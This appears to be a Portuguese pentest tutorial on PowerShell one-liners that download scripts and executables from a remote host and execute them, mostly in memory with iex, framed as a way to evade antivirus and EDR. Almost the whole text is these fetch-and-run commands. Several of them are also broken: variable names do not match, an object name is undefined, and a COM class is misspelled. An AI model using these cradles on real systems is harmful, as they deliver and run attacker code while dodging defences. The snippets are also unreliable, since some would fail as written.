Já precisou realizar o download de algum arquivo em Powershell e teve dificuldades? Este tutorial visa fornecer métodos simples e rápidos de realizar download utilizando Powershell e como carregar scripts Powershell em memória.
O Powershell é uma ferramenta poderosa usada por muitos administradores de sistemas para automatizar tarefas e gerenciar sistemas Windows. Porém, a mesma funcionalidade que torna o Powershell tão útil também pode ser explorada por criminosos cibernéticos. Uma técnica que tem sido usada com frequência é o carregamento de script em memória, que envolve o download de um script malicioso e sua execução em um sistema comprometido.
Carregar script .ps1 em memória
Primeiramente vamos ver alguns métodos para carregar scripts .ps1 em memória. Esta técnica é extremamente útil quando estamos lidando com algum antivírus ou EDR durante nosso pentest.
WebClient.DownloadString
Utilização básica:
iex (new-object Net.Webclient).DownloadString("http://192.168.13.37/script.ps1")
powershell.exe iex (new-object Net.Webclient).DownloadString('http://192.168.13.37//script.ps1')
Adicionando User Agent na request
$cli= New-Object System.Net.WebClient; $cli.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36"); $file = "http://192.168.13.37/script.ps1"; $cmd= $cli.DownloadString($payload); iex $cmd
Net.WebRequest
$req = [System.Net.WebRequest]::Create("http://192.168.13.37/script.ps1"); $res = $req.GetResponse(); iex ([System.IO.StreamReader] ($res.GetResponseStream())).ReadToEnd()
System.Xml.XmlDocument
Para utilizar este método se faz necessário um arquivo XML com o comando a ser executado. Neste caso estamos executando o comando $env:computername, que retorna o hostname da máquina:
Em seguida, basta executar o comando abaixo na máquina Windows:
$remotexml = New-Object System.Xml.XmlDocument;$remotexml.Load("http://192.168.13.37/arquivo.xml");iex $remotexml.command.cmd.execute
Msxml2.XMLHTTP
$req = New-Object -ComObject Msxml2.XMLHTTP;$downloader.open("GET", "http://192.168.13.37/script.ps1", $false);$req.send();iex $req.responseText
WinHttp.WinHttpRequest.5.1
$req = New-Object -ComObject WinHTttp.WinHttpRequest.5.1; $req.open("GET", "http://192.168.0.96/script.ps1", $false); $req.send(); iex $downloader.responseText
Realizar Download para o disco
Os métodos abaixo realizam o download do arquivo/script desejado para o disco e em seguida executam o mesmo:
System.Net.Webclient DownloadFile
(new-object System.Net.Webclient).DownloadFile("http://192.168.13.37/script.ps1", "script.ps1"); .\script.ps1
$cli = New-Object System.Net.WebClient;$payload = "https://192.168.0.96/arquivo.exe";$out = "C:\windows\temp\arquivo.exe";$cmd = $cli.DownloadFile($payload, $file);& $file
Invoke-WebRequest
Invoke-WebRequest -Uri http://192.168.13.37/script.ps1 -OutFile script.ps1; .\script.ps1
Gostou? Se tiverem algumas sugestões, dica ou se ficou com alguma dúvida sobre este tutorial, não tem problema! Basta comentar no post que iremos responder suas dúvidas assim que for possível.
Fonte:ironlinux